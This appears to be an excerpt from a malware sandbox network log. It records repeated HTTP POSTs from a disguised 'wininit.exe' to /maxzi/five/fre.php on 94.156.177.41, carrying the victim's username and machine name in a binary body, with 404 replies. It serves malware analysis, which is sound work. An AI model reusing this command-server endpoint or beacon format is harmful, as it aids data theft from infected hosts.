Nov 20, 2024 10:58:16.382903099 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:16.391719103 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:17.138398886 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:17 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	58664	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:17.288305998 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:17.293395996 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:18.031718016 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:17 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	58670	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:18.181020021 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:18.186000109 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:18.916189909 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:18 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	58675	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:19.103928089 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:19.112622023 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:19.983401060 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:19 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	58683	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:20.131119967 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:20.136054039 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:20.889894962 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:20 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	58688	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:21.040473938 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:21.045420885 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:21.775449038 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:21 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	58695	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:21.930898905 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:21.935753107 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:22.695555925 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:22 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	58701	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:22.850301027 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:22.855309963 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:23.591485023 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:23 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	58708	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:23.753654003 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:23.760309935 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:24.491024017 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:24 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	58715	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:24.634911060 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:24.639780998 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:25.390342951 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:25 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	58723	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:25.542803049 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:25.552645922 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:26.277719021 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:26 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	58730	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:26.428895950 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:26.433857918 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:27.285520077 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:27 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	58736	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:27.432306051 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:27.437349081 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:28.175734043 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:28 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	58742	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:28.321070910 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:28.325967073 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:29.063374043 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:28 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	58752	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:29.215018034 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:29.219984055 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:29.951875925 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:29 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	58758	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:30.130422115 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:30.135328054 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:30.880542994 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:30 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	58764	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:31.024075031 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:31.029058933 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:31.753091097 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:31 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	58770	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:31.903326035 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:31.910532951 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:32.772454977 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:32 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	58777	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:32.917339087 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:32.925546885 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:33.662405968 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:33 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	58786	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:33.812052011 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:33.816973925 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:34.540858030 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:34 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	58792	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:34.742141962 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:34.747067928 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:35.492599010 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:35 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	58799	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:35.638216972 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:35.646259069 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
